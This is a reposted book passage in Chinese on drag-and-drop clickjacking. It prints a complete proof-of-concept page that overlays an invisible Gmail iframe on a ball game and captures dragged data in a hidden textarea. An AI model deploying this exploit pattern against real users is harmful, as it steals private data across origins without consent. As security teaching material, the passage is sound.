拖拽劫持与数据窃取

news2025/1/16 20:01:53

2010 年,ClickJacking 技术有了新的发展。一位名叫 Paul Stone 的安全研究者在 BlackHat 2010 大会上发表了题为“Next Generation Clickjacking”的演讲。在该演讲中,提出了“浏览器 拖拽事件”导致的一些安全问题。

目前很多浏览器都开始支持 Drag & Drop 的 API。对于用户来说,拖拽使他们的操作更加 简单。浏览器中的拖拽对象可以是一个链接,也可以是一段文字,还可以从一个窗口拖拽到另 外一个窗口,因此拖拽是不受同源策略限制的。

“拖拽劫持”的思路是诱使用户从隐藏的不可见 iframe 中“拖拽”出攻击者希望得到的数 据,然后放到攻击者能控制的另外一个页面中,从而窃取数据。

在 JavaScript 或者 Java API 的支持下,这个攻击过程会变得非常隐蔽。因为它突破了传统 ClickJacking 一些先天的局限,所以这种新型的“拖拽劫持”能够造成更大的破坏。

国内的安全研究者 xisigr 曾经构造了一个针对Gmail的POC2 ,其过程大致如下。

首先,制作一个网页小游戏,要把小球拖拽到小海豹的头顶上。

实际上,在小球和小海豹的头顶上都有隐藏的 iframe。

在这个例子中,xisigr 使用 event.dataTransfer.getData('Text') 来获取“drag”到的数据。当 用户拖拽小球时,实际上是选中了隐藏的 iframe 里的数据;在放下小球时,把数据也放在了隐 藏的 textarea 中,从而完成一次数据窃取的过程。

这个例子的源代码如下:

<html> 
 
 <head> 
 <title> 
 Gmail Clickjacking with drag and drop Attack Demo 
 </title> 
 <style> 
 .iframe_hidden{height: 50px; width: 50px; top:360px; left:365px; overflow:hidden; 
 filter: alpha(opacity=0); opacity:.0; position: absolute; } .text_area_hidden{ 
 height: 30px; width: 30px; top:160px; left:670px; overflow:hidden; filter: 
 alpha(opacity=0); opacity:.0; position: absolute; } .ball{ top:350px; left:350px; 
 position: absolute; } .ball_1{ top:136px; left:640px; filter: alpha(opacity=0); 
 opacity:.0; position: absolute; }.Dolphin{ top:150px; left:600px; position: 
 absolute; }.center{ margin-right: auto;margin-left: auto; 
vertical-align:middle;text-align:center; 
 margin-top:350px;} 
 </style> 
 <script> 
 function Init() { 
 var source = document.getElementById("source"); 
 var target = document.getElementById("target"); 
 if (source.addEventListener) { 
 target.addEventListener("drop", DumpInfo, false); 
 } else { 
 target.attachEvent("ondrop", DumpInfo); 
 } 
 } 
function DumpInfo(event) { 
 showHide_ball.call(this); 
 showHide_ball_1.call(this); 
 var info = document.getElementById("info"); 
 info.innerHTML += "<span style='color:#3355cc;font-size:13px'>" + 
event.dataTransfer.getData('Text') + "</span><br> "; 
 } 
 function showHide_frame() { 
 var iframe_1 = document.getElementById("iframe_1"); 
 iframe_1.style.opacity = this.checked ? "0.5": "0"; 
 iframe_1.style.filter = "progid:DXImageTransform.Microsoft.Alpha(opacity=" + 
(this.checked ? "50": "0") + ");" 
 } 
 function showHide_text() { 
 var text_1 = document.getElementById("target"); 
 text_1.style.opacity = this.checked ? "0.5": "0"; 
 text_1.style.filter = "progid:DXImageTransform.Microsoft.Alpha(opacity=" + 
(this.checked ? "50": "0") + ");" 
 } 
 function showHide_ball() { 
 var hide_ball = document.getElementById("hide_ball"); 
 hide_ball.style.opacity = "0"; 
 hide_ball.style.filter = "alpha(opacity=0)"; 
 } 
 function showHide_ball_1() { 
 var hide_ball_1 = document.getElementById("hide_ball_1"); 
 hide_ball_1.style.opacity = "1"; 
 hide_ball_1.style.filter = "alpha(opacity=100)"; 
 } 
 function reload_text() { 
 document.getElementById("target").value = ''; 
 } 
 </script> 
 </head> 
 
 <body onload="Init();"> 
 <center> 
 <h1> 
 Gmail Clickjacking with drag and drop Attack 
 </h1> 
 </center> 
 <img id="hide_ball" src=ball.png class="ball"> 
 <div id="source"> 
 <iframe id="iframe_1" src="https://mail.google.com/mail/ig/mailmax" 
class="iframe_hidden" 
 scrolling="no"> 
 </iframe> 
 </div> 
 <img src=Dolphin.jpg class="Dolphin"> 
 <div> 
 <img id="hide_ball_1" src=ball.png class="ball_1"> 
 </div> 
 <div> 
 <textarea id="target" class="text_area_hidden"> 
 </textarea> 
 </div> 
 <div id="info" style="position:absolute;background-color:#e0e0e0;font-weight:bold; 
top:600px;"> 
 </div> 
 <center>
Note: Clicking "ctrl + a" to select the ball, then drag it to the 
 <br> 
 mouth of the dolphin with the mouse.Make sure you have logged into GMAIL. 
 <br> 
 </center> 
 <br> 
 <br> 
 <div class="center"> 
 <center> 
 <center> 
 <input id="showHide_frame" type="checkbox" 
onclick="showHide_frame.call(this);" 
 /> 
 <label for="showHide_frame"> 
 Show the jacked I--Frame 
 </label> 
 | 
 <input id="showHide_text" type="checkbox" onclick="showHide_text.call(this);" 
 /> 
 <label for="showHide_text"> 
 Show the jacked Textarea 
 </label> 
 | 
 <input type=button value="Replay" onclick="location.reload();reload_text();"> 
 </center> 
 <br><br> 
 <b> 
 Design by 
 <a target="_blank" href="http://hi.baidu.com/xisigr"> 
 xisigr 
 </a> 
 </b> 
 </center> 
 </div> 
 </body> 
</html> 

 这是一个非常精彩的案例。

注:本文来自白帽子讲web安全。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1853510.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【pytorch05】索引与切片

索引 a[0,0]第0张图片的第0个通道 a[0,0,2,4]第0张图片&#xff0c;第0个通道&#xff0c;第2行&#xff0c;第4列的像素点&#xff0c;dimension为0的标量 选择前/后N张图片 a[:2,:1,:,:].shape前两张图片&#xff0c;第1个通道上的所有图片的数据 a[:2,1:,:,:].shape前两张…

智能优化算法改进策略之局部搜索算子(八)--Powell方法

1、原理介绍 Powell方法[1]是一种无约束优化算法&#xff0c;又称为方向加速法&#xff0c;用于寻找多变量函数的极小值。其基本思想是在迭代中逐次产生Q共轭方向组&#xff0c;本质上它属于不需计算导数的共轭方向法。每次迭代后&#xff0c;算法会更新搜索方向&#xff0c;并…

【Android源码解析】一篇搞定“路由、网络层、UI层、通信层

资料获取 扫一扫下方二维码即可免费领取1880页的《Android百大框架源码解析》 《Android 百大框架源码解析》 1.Retrofit 2.0源码解析 2.Okhttp3源码解析 3.ButterKnife源码解析 4.MPAndroidChart 源码解析 5.Glide源码解析 6.Leakcanary 源码解析 7.Universal-lmage-Loa…

如何解决vue中的路由守卫失效问题

引言 1. 路由守卫简介 路由守卫是前端开发中一个至关重要的概念&#xff0c;特别是在使用单页应用&#xff08;SPA&#xff09;框架如React、Vue或Angular时。它们充当了SPA中的“门卫”&#xff0c;控制着用户对不同页面的访问权限。路由守卫的核心功能是确保用户在访问特定…

ChatGPT-4o也参加高考了,还写了六大考卷的全部作文! |【WeThinkIn出品】

写在前面 【WeThinkIn出品】栏目专注于分享Rocky的最新思考与经验总结&#xff0c;包含但不限于技术领域。欢迎大家一起交流学习&#x1f4aa; 欢迎大家关注Rocky的公众号&#xff1a;WeThinkIn 欢迎大家关注Rocky的知乎&#xff1a;Rocky Ding AIGC算法工程师面试面经秘籍分享…

51-52Windows密码安全性测试与Windows提权

目录 Windows密码安全性测试 一、本地管理员密码如何直接提取 1、直接通过mimikatz读取管理员密码 2、使用laZagne工具读取管理员密码 二、利用Hash远程登录系统 window提权 三、远程webshell执行命令解决 不能执行原因&#xff1a; 解决方法&#xff1a;单独上传cmd.e…

Java——封装(Encapsulation)

一、封装简介 1、封装是什么 封装&#xff08;Encapsulation&#xff09;是面向对象编程&#xff08;OOP&#xff09;中的一个基本概念&#xff0c;它指的是将对象的状态&#xff08;数据&#xff09;和行为&#xff08;方法&#xff09;绑定在一起&#xff0c;并对外隐藏对象…

YouTube API接口:一键获取Playlist视频合集信息

核心功能介绍 在视频内容日益繁荣的今天&#xff0c;YouTube作为全球领先的视频分享平台&#xff0c;为内容创作者、品牌商家以及数据分析师提供了丰富的视频资源。其中&#xff0c;Playlist视频合集作为YouTube上的一种特色内容形式&#xff0c;深受用户喜爱。为了更好地满足…

个性化光标和动态壁纸

光标 进入这个宝藏网页至美化 至美化 进入鼠标页面&#xff0c;选择自己喜欢的鼠标&#xff0c;进入相关页面 分为两种&#xff0c;那么热爱有钱的UU可以选择高清版 像我这种没钱的孩子或者觉得试用版够用的就使用上面的 点击下载 进入自己的文件夹&#xff0c;解压成功之…

idea添加文档注释

一、easy javadoc插件 在settings的plugins中下载easy javadoc插件。 安装完成后重启idea&#xff0c;再次打开settings界面。会出现easyDoc相关配置。 二、设置模版以及使用 类描述模版参考设置&#xff1a; /** * 类描述 -> * * Author: ywz * Date: $Date$ */ 方法描述…

人脸识别技术:前沿应用与业务场景探索

随着科技的飞速发展&#xff0c;人脸识别技术已经成为我们日常生活中不可或缺的一部分。这项技术以其独特的生物特征识别能力&#xff0c;在公共安全、金融、交通、教育等多个领域展现出巨大的潜力和价值。本文将深入探讨人脸识别技术的原理、业务场景以及相关的成功案例。 一、…

示例:推荐一个自定义的Ribbon皮肤

一、目的&#xff1a;WPF自带的Ribbon控件功能很强大&#xff0c;但使用过程中感觉显示的样式不是很好&#xff0c;或者不适合自己的项目&#xff0c;下面介绍一个基于自带Ribbon控件样式的修改&#xff0c;主要修改了些高度&#xff0c;间距&#xff0c;背景色&#xff0c;前景…

借助ChatGPT降低学术论文重复率,使用技巧全攻略,实用有效,快速上手

大家好&#xff0c;感谢关注。我是七哥&#xff0c;一个在高校里不务正业&#xff0c;折腾学术科研AI实操的学术人。可以&#xff08;yida985&#xff09;交流学术写作或ChatGPT等AI领域相关问题&#xff0c;多多交流&#xff0c;相互成就&#xff0c;共同进步。 经常有学术同…

文心智能体平台介绍和应用:制作你的智能体(运维小帮手)

这是我自己制作的智能体 大家可以了解一下&#xff01; 运维小帮手&#xff01;https://mbd.baidu.com/ma/s/tE19dqvr 文心智能体平台官网首页 点击跳转&#xff01;https://agents.baidu.com/ 什么是智能体平台&#xff1f; 文心智能体平台&#xff08;Wenxin Intelligen…

【Leetcode】520. 检测大写字母

文章目录 题目思路代码复杂度分析时间复杂度空间复杂度 结果总结 题目 题目链接&#x1f517;我们定义&#xff0c;在以下情况时&#xff0c;单词的大写用法是正确的&#xff1a; 全部字母都是大写&#xff0c;比如 “USA” 。单词中所有字母都不是大写&#xff0c;比如 “le…

腾讯云[HiFlow】| 自动化 -------HiFlow:还在复制粘贴?

文章目录 前言&#xff1a;一&#xff1a;HiFlow是什么二&#xff1a;功能介绍1.全连接2.自动化2.1定时处理特定任务2.2实时同步变更信息2.3及时获取通知提醒 3.零代码4.多场景5.可信赖 三&#xff1a;用户体验最后 前言&#xff1a; 随着网络时代的不断发展&#xff0c;自动化…

java内置线程池

线程池常见方法 如何获取线程池对象 缓存线程池 自定义任务对象 public class MyRunnable implements Runnable{private int id;public MyRunnable(int id) {this.id id;}Overridepublic void run() {String name Thread.currentThread().getName();System.out.println(&quo…

文心一言 VS 讯飞星火 VS chatgpt (287)-- 算法导论21.2 6题

六、假设对 UNION 过程做一个简单的改动&#xff0c;在采用链表表示中拿掉让集合对象的 tail 指针总指向每个表的最后一个对象的要求。无论是使用还是不使用加权合并启发式策略&#xff0c;这个修改不应该改变 UNION 过程的渐近运行时间。(提示:而不是把一个表链接到另一个表后…

VC++支持断点续下或续传的功能

VC使用多线程和Socket实现断点续下 一、断点续下的基本原理&#xff1a; 1.断点续传的理解可以分为两部分&#xff1a;一部分是断点&#xff0c;一部分是续传。断点的由来是在下载过程中&#xff0c;将一个下载文件分成了多个部分&#xff0c;同时进行多个部分一起的下载&…

智能优化算法改进策略之局部搜索算子(四)--梯度搜索法

2、仿真实验 以海洋捕食者算法&#xff08;MPA&#xff09;为基本算法。考察基于梯度搜索的改进海洋捕食者算法&#xff08;命名为GBSMPA&#xff09; vs. 海洋捕食者算法&#xff08;MPA&#xff09; 在Sphere函数上的比较 在Penalized1函数上的比较 在CEC2017-1上的比较 在C…